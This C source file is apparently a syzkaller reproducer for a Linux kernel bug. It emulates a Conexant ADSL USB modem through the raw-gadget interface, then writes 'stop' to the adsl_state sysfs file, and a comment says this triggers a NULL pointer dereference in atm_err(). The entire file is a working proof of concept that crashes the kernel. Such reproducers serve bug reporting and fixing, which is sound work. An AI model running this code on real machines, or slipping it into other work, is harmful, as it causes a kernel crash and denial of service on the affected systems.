// https://syzkaller.appspot.com/bug?id=72726b9ea80224d1f2c10b526ee015a10e813611 #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include static inline uint16_t cpu_to_le16(uint16_t v) { #if __BYTE_ORDER__ == __ORDER_BIG_ENDIAN__ return __builtin_bswap16(v); #else return v; #endif } static inline uint16_t le16_to_cpu(uint16_t v) { return cpu_to_le16(v); } /* Device Descriptor */ static struct usb_device_descriptor device_desc = { .bLength = sizeof(struct usb_device_descriptor), .bDescriptorType = USB_DT_DEVICE, .bcdUSB = 0x0200, .bDeviceClass = USB_CLASS_PER_INTERFACE, .bDeviceSubClass = 0, .bDeviceProtocol = 0, .bMaxPacketSize0 = 64, .idVendor = 0x0572, .idProduct = 0xcafe, .bcdDevice = 0x0100, .iManufacturer = 1, .iProduct = 2, .iSerialNumber = 0, .bNumConfigurations = 1, }; /* Full Configuration Descriptor Bundle */ struct config_bundle { struct usb_config_descriptor config; struct usb_interface_descriptor intf; struct usb_endpoint_descriptor ep_81; struct usb_endpoint_descriptor ep_01; struct usb_endpoint_descriptor ep_82; struct usb_endpoint_descriptor ep_02; } __attribute__((packed)); static struct config_bundle config_desc = { .config = { .bLength = sizeof(struct usb_config_descriptor), .bDescriptorType = USB_DT_CONFIG, .wTotalLength = 0, /* set at init */ .bNumInterfaces = 1, .bConfigurationValue = 1, .iConfiguration = 0, .bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER, .bMaxPower = 50, }, .intf = { .bLength = sizeof(struct usb_interface_descriptor), .bDescriptorType = USB_DT_INTERFACE, .bInterfaceNumber = 0, .bAlternateSetting = 0, .bNumEndpoints = 4, .bInterfaceClass = USB_CLASS_VENDOR_SPEC, .bInterfaceSubClass = 0, .bInterfaceProtocol = 0, .iInterface = 0, }, .ep_81 = { .bLength = sizeof(struct usb_endpoint_descriptor), .bDescriptorType = USB_DT_ENDPOINT, .bEndpointAddress = 0x81, .bmAttributes = USB_ENDPOINT_XFER_BULK, .wMaxPacketSize = 512, .bInterval = 0, }, .ep_01 = { .bLength = sizeof(struct usb_endpoint_descriptor), .bDescriptorType = USB_DT_ENDPOINT, .bEndpointAddress = 0x01, .bmAttributes = USB_ENDPOINT_XFER_BULK, .wMaxPacketSize = 512, .bInterval = 0, }, .ep_82 = { .bLength = sizeof(struct usb_endpoint_descriptor), .bDescriptorType = USB_DT_ENDPOINT, .bEndpointAddress = 0x82, .bmAttributes = USB_ENDPOINT_XFER_BULK, .wMaxPacketSize = 512, .bInterval = 0, }, .ep_02 = { .bLength = sizeof(struct usb_endpoint_descriptor), .bDescriptorType = USB_DT_ENDPOINT, .bEndpointAddress = 0x02, .bmAttributes = USB_ENDPOINT_XFER_BULK, .wMaxPacketSize = 512, .bInterval = 0, }, }; /* String Descriptors */ struct string_lang { uint8_t bLength; uint8_t bDescriptorType; uint16_t wData[1]; } __attribute__((packed)); static struct string_lang string_lang0 = { .bLength = 4, .bDescriptorType = USB_DT_STRING, .wData = { 0x0409 }, }; struct string_text { uint8_t bLength; uint8_t bDescriptorType; uint16_t wData[6]; } __attribute__((packed)); static struct string_text string_mfg = { .bLength = 2 + 6 * 2, .bDescriptorType = USB_DT_STRING, .wData = { 'V', 'e', 'n', 'd', 'o', 'r' }, }; static struct string_text string_prod = { .bLength = 2 + 6 * 2, .bDescriptorType = USB_DT_STRING, .wData = { 'G', 'a', 'd', 'g', 'e', 't' }, }; static void init_descriptors(void) { device_desc.bcdUSB = cpu_to_le16(0x0200); device_desc.idVendor = cpu_to_le16(0x0572); device_desc.idProduct = cpu_to_le16(0xcafe); device_desc.bcdDevice = cpu_to_le16(0x0100); config_desc.config.wTotalLength = cpu_to_le16(sizeof(config_desc)); config_desc.ep_81.wMaxPacketSize = cpu_to_le16(512); config_desc.ep_01.wMaxPacketSize = cpu_to_le16(512); config_desc.ep_82.wMaxPacketSize = cpu_to_le16(512); config_desc.ep_02.wMaxPacketSize = cpu_to_le16(512); string_lang0.wData[0] = cpu_to_le16(0x0409); for (int i = 0; i < 6; i++) { string_mfg.wData[i] = cpu_to_le16(string_mfg.wData[i]); string_prod.wData[i] = cpu_to_le16(string_prod.wData[i]); } } static int ep0_write(int fd, const void *data, uint32_t length) { struct usb_raw_ep_io *io = calloc(1, sizeof(*io) + length); if (!io) return -ENOMEM; io->ep = 0; io->flags = 0; io->length = length; if (data && length > 0) memcpy(io->data, data, length); int ret = ioctl(fd, USB_RAW_IOCTL_EP0_WRITE, io); free(io); return ret; } static int ep0_read(int fd, void *data, uint32_t length) { struct usb_raw_ep_io *io = calloc(1, sizeof(*io) + length); if (!io) return -ENOMEM; io->ep = 0; io->flags = 0; io->length = length; int ret = ioctl(fd, USB_RAW_IOCTL_EP0_READ, io); if (ret >= 0 && data && length > 0) { uint32_t copy_len = ((uint32_t)ret < length) ? (uint32_t)ret : length; memcpy(data, io->data, copy_len); } free(io); return ret; } static int ep0_stall(int fd) { return ioctl(fd, USB_RAW_IOCTL_EP0_STALL, 0); } static void handle_ep0_request(int fd, struct usb_ctrlrequest *ctrl) { uint8_t type = ctrl->bRequestType & USB_TYPE_MASK; uint8_t req = ctrl->bRequest; uint16_t wValue = le16_to_cpu(ctrl->wValue); uint16_t wLength = le16_to_cpu(ctrl->wLength); if (type == USB_TYPE_STANDARD) { switch (req) { case USB_REQ_GET_DESCRIPTOR: { uint8_t desc_type = wValue >> 8; uint8_t desc_idx = wValue & 0xFF; switch (desc_type) { case USB_DT_DEVICE: { uint32_t len = sizeof(device_desc); if (len > wLength) len = wLength; ep0_write(fd, &device_desc, len); break; } case USB_DT_CONFIG: { uint32_t len = sizeof(config_desc); if (len > wLength) len = wLength; ep0_write(fd, &config_desc, len); break; } case USB_DT_STRING: { if (desc_idx == 0) { uint32_t len = sizeof(string_lang0); if (len > wLength) len = wLength; ep0_write(fd, &string_lang0, len); } else if (desc_idx == 1) { uint32_t len = sizeof(string_mfg); if (len > wLength) len = wLength; ep0_write(fd, &string_mfg, len); } else if (desc_idx == 2) { uint32_t len = sizeof(string_prod); if (len > wLength) len = wLength; ep0_write(fd, &string_prod, len); } else { ep0_stall(fd); } break; } default: ep0_stall(fd); break; } break; } case USB_REQ_SET_ADDRESS: { ep0_read(fd, NULL, 0); break; } case USB_REQ_SET_CONFIGURATION: { ioctl(fd, USB_RAW_IOCTL_EP_ENABLE, &config_desc.ep_81); ioctl(fd, USB_RAW_IOCTL_EP_ENABLE, &config_desc.ep_01); ioctl(fd, USB_RAW_IOCTL_EP_ENABLE, &config_desc.ep_82); ioctl(fd, USB_RAW_IOCTL_EP_ENABLE, &config_desc.ep_02); ioctl(fd, USB_RAW_IOCTL_CONFIGURE, 0); ep0_read(fd, NULL, 0); break; } case USB_REQ_GET_STATUS: { uint16_t status = 0; uint32_t len = sizeof(status); if (len > wLength) len = wLength; ep0_write(fd, &status, len); break; } case USB_REQ_SET_INTERFACE: { ep0_read(fd, NULL, 0); break; } default: ep0_stall(fd); break; } } else { ep0_stall(fd); } } void *gadget_thread(void *arg) { const char *driver_name = "dummy_udc"; const char *device_name = "dummy_udc.0"; init_descriptors(); int fd = open("/dev/raw-gadget", O_RDWR); if (fd < 0) { printf("[-] open /dev/raw-gadget failed: %s\n", strerror(errno)); return NULL; } printf("[+] Opened /dev/raw-gadget\n"); struct usb_raw_init init; memset(&init, 0, sizeof(init)); strncpy((char *)init.driver_name, driver_name, sizeof(init.driver_name) - 1); strncpy((char *)init.device_name, device_name, sizeof(init.device_name) - 1); init.speed = USB_SPEED_HIGH; if (ioctl(fd, USB_RAW_IOCTL_INIT, &init) < 0) { printf("[-] USB_RAW_IOCTL_INIT failed: %s\n", strerror(errno)); close(fd); return NULL; } printf("[+] USB_RAW_IOCTL_INIT successful\n"); if (ioctl(fd, USB_RAW_IOCTL_RUN, 0) < 0) { printf("[-] USB_RAW_IOCTL_RUN failed: %s\n", strerror(errno)); close(fd); return NULL; } printf("[+] USB_RAW_IOCTL_RUN successful\n"); size_t event_buf_size = sizeof(struct usb_raw_event) + 256; struct usb_raw_event *event = malloc(event_buf_size); if (!event) { close(fd); return NULL; } while (1) { memset(event, 0, event_buf_size); event->type = USB_RAW_EVENT_INVALID; event->length = 256; if (ioctl(fd, USB_RAW_IOCTL_EVENT_FETCH, event) < 0) { break; } if (event->type == USB_RAW_EVENT_CONTROL) { struct usb_ctrlrequest *ctrl = (struct usb_ctrlrequest *)event->data; handle_ep0_request(fd, ctrl); } } free(event); close(fd); return NULL; } void trigger_bug() { for (int i = 0; i < 10; i++) { DIR *dir = opendir("/sys/bus/usb/devices"); if (!dir) { sleep(1); continue; } int found = 0; struct dirent *ent; while ((ent = readdir(dir)) != NULL) { if (ent->d_name[0] == '.') continue; char path[512]; snprintf(path, sizeof(path), "/sys/bus/usb/devices/%s/adsl_state", ent->d_name); int fd = open(path, O_WRONLY); if (fd >= 0) { printf("[+] Found adsl_state at %s\n", path); /* This will block for ~4 seconds until the USB transfer times out, triggering the NULL pointer dereference in atm_err() */ int ret = write(fd, "stop", 4); if (ret < 0) { printf("[-] write to adsl_state failed: %s\n", strerror(errno)); } else { printf("[+] write to adsl_state successful\n"); } close(fd); found = 1; } } closedir(dir); if (found) break; sleep(1); } } int main() { pthread_t tid; int ret = pthread_create(&tid, NULL, gadget_thread, NULL); if (ret != 0) { printf("[-] pthread_create failed: %s\n", strerror(ret)); exit(1); } printf("[+] Gadget thread created\n"); /* Wait for the device to be enumerated and sysfs files to be created */ sleep(2); /* Find the adsl_state sysfs file and write to it */ trigger_bug(); sleep(1); return 0; }